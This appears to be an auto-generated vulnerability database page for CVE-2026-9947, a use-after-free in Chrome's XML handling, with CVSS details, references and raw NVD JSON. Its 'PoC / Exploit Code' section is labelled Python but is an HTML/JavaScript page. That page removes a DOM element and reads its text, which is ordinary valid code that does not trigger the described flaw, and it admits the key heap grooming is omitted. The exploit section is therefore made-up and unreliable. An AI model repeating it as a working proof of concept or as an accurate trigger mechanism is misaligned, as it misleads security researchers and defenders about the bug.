CVE-2026-9947

Description

Use after free in XML in Google Chrome prior to 148.0.7778.216 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: High)

CVSS Details

CVSS Score

8.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Google Chrome < 148.0.7778.216

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!--
PoC for CVE-2026-9947 (Conceptual)
This demonstrates the trigger mechanism via XML parsing.
-->
<html>
<head>
<script>
function trigger_uaf() {
    // Create a malicious XML structure
    var xml_str = "<?xml version='1.0'?><root><tag1>Content</tag1></root>";
    
    try {
        // Parsing XML in Chrome to trigger the vulnerable path
        var parser = new DOMParser();
        var doc = parser.parseFromString(xml_str, "text/xml");
        
        // Manipulate the DOM to force the Use-After-Free condition
        // (Specific heap grooming omitted for brevity)
        var element = doc.getElementsByTagName("tag1")[0];
        element.remove();
        
        // Accessing the freed object to trigger the crash/potential exploit
        console.log(element.textContent);
    } catch(e) {
        console.log("Error triggering vulnerability: " + e);
    }
}

window.onload = trigger_uaf;
</script>
</head>
<body>
<p>CVE-2026-9947 PoC Test Page</p>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-9947
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-9947
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-9947/
[4] VulDB https://vuldb.com/cve/CVE-2026-9947
[5] https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_0877304591.html
[6] https://issues.chromium.org/issues/503627446

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-9947", "sourceIdentifier": "[email protected]", "published": "2026-05-28T23:16:52.840", "lastModified": "2026-05-29T12:16:29.120", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Use after free in XML in Google Chrome prior to 148.0.7778.216 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: High)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-416"}]}], "references": [{"url": "https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_0877304591.html", "source": "[email protected]"}, {"url": "https://issues.chromium.org/issues/503627446", "source": "[email protected]"}]}}